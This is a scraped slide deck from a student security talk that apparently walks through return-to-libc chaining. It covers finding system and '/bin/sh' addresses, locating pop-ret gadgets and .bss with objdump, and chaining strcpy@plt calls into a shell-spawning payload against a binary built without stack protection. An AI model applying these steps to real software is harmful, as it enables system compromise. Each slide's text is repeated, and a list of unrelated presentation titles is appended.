RTL Chaining sangjun123naver com Contents n n RTL

  • Slides: 18
Download presentation
RTL Chaining 송상준 sangjun_123@naver. com 서초고등학교

RTL Chaining 송상준 sangjun_123@naver. com 서초고등학교

Contents n 자기소개 n RTL Chaining n Demo

Contents n 자기소개 n RTL Chaining n Demo

자기소개 n n 서초고등학교 2학년 Best of the Best 4기 교육생 정보보안팀 Hack. Cat

자기소개 n n 서초고등학교 2학년 Best of the Best 4기 교육생 정보보안팀 Hack. Cat 소속 s 0 ngsari. tistory. com

Return to Libc [*] First, Get Library Address, Library argument print libraryname find &system,

Return to Libc [*] First, Get Library Address, Library argument print libraryname find &system, +9999, ”/bin/sh”

Return to Libc [*] Finally, Just Attack! - Buffer[? ] + SFP[4] + system

Return to Libc [*] Finally, Just Attack! - Buffer[? ] + SFP[4] + system + exit + /bin/sh system(“/bin/sh”) -> exit(0);

RTL Chaining [*] First, Find Gadget(pop. . ret) Usage: objdump –d. /binary pop ret

RTL Chaining [*] First, Find Gadget(pop. . ret) Usage: objdump –d. /binary pop ret = 0 x 0804852 f pop ret = 0 x 0804852 e

RTL Chaining [*] Second, Find 1 byte char(/bin/sh) Usage: objdump –s. /binary | grep

RTL Chaining [*] Second, Find 1 byte char(/bin/sh) Usage: objdump –s. /binary | grep “/” – 0 x 08048154 (/, b, i, n, s, h, x 00)을 모두 구해야함

RTL Chaining [*] Third, Find. bss Address Usage: objdump –h. /binary | grep bss

RTL Chaining [*] Third, Find. bss Address Usage: objdump –h. /binary | grep bss - insert char(/bin/sh) in. bss (custom stack) bss = 0 x 0804 a 028 bss size = 1028 byte

RTL Chaining [*] Fourth, Find vuln@plt strcpy@plt = 0 x 080483 a 0 jmp

RTL Chaining [*] Fourth, Find vuln@plt strcpy@plt = 0 x 080483 a 0 jmp ds: offset은 got주소!!

RTL Chaining Finish!! I Have. . [Gadget, character, bss, strcpy@plt, system]

RTL Chaining Finish!! I Have. . [Gadget, character, bss, strcpy@plt, system]

Attack Scenario [*] Payload strcpy@plt + ppr +. bss + “/”. . . System

Attack Scenario [*] Payload strcpy@plt + ppr +. bss + “/”. . . System + exit + bss C Code? -> strcpy(bss[0], “/”); strcpy(bss[1], “b”); . . .

Demo [Environment] - Ubuntu 14. 04 LTS - Netcat Remote Server - gcc –o

Demo [Environment] - Ubuntu 14. 04 LTS - Netcat Remote Server - gcc –o exploit. c –fno-stack-protector

Unification Forward Chaining Backward Chaining 1 premise inferenceUnification Forward Chaining Backward Chaining 1 premise inference
Forward Chaining and Backward Chaining Inference Engine cyclesForward Chaining and Backward Chaining Inference Engine cycles
Inference Reasoning Forward Chaining Backward chaining 1 ShowInference Reasoning Forward Chaining Backward chaining 1 Show
Forward chaining backward chaining systems take highlevel goalForward chaining backward chaining systems take highlevel goal
ABCN 130 RTL status Running functional rtl codeABCN 130 RTL status Running functional rtl code
RTL SERMAYE TRANSFER FYATLANDIRMASI YOLUYLA RTL KAZAN DAITIMIRTL SERMAYE TRANSFER FYATLANDIRMASI YOLUYLA RTL KAZAN DAITIMI
Resistor Transistor Logic RTL RTL is the firstResistor Transistor Logic RTL RTL is the first
RTL Projektovanje RTL Projektovanje o Projektovanje na registarskomRTL Projektovanje RTL Projektovanje o Projektovanje na registarskom
RTL SERMAYE VE TRANSFER FYATLANDIRMASI YOLUYLA RTL KAZANRTL SERMAYE VE TRANSFER FYATLANDIRMASI YOLUYLA RTL KAZAN
RTL Design Flow HDL manual design RTL SynthesisRTL Design Flow HDL manual design RTL Synthesis
Rtl Init Unicode String UNICODESTRING Rtl Init UnicodeRtl Init Unicode String UNICODESTRING Rtl Init Unicode
Resistor Transistor Logic RTL RTL is the firstResistor Transistor Logic RTL RTL is the first
Bertelsmann SE Co KGa A RTL Television RTLBertelsmann SE Co KGa A RTL Television RTL
Contents 2 Contents 3 Contents 4 Contents 5Contents 2 Contents 3 Contents 4 Contents 5
TITLE CONTENTS 1 CONTENTS 2 CONTENTS 3 CONTENTSTITLE CONTENTS 1 CONTENTS 2 CONTENTS 3 CONTENTS
CONTENTS 1 CONTENTS 2 CONTENTS 3 CONTENTS 4CONTENTS 1 CONTENTS 2 CONTENTS 3 CONTENTS 4
contents 1 contents 2 contents 3 contents 4contents 1 contents 2 contents 3 contents 4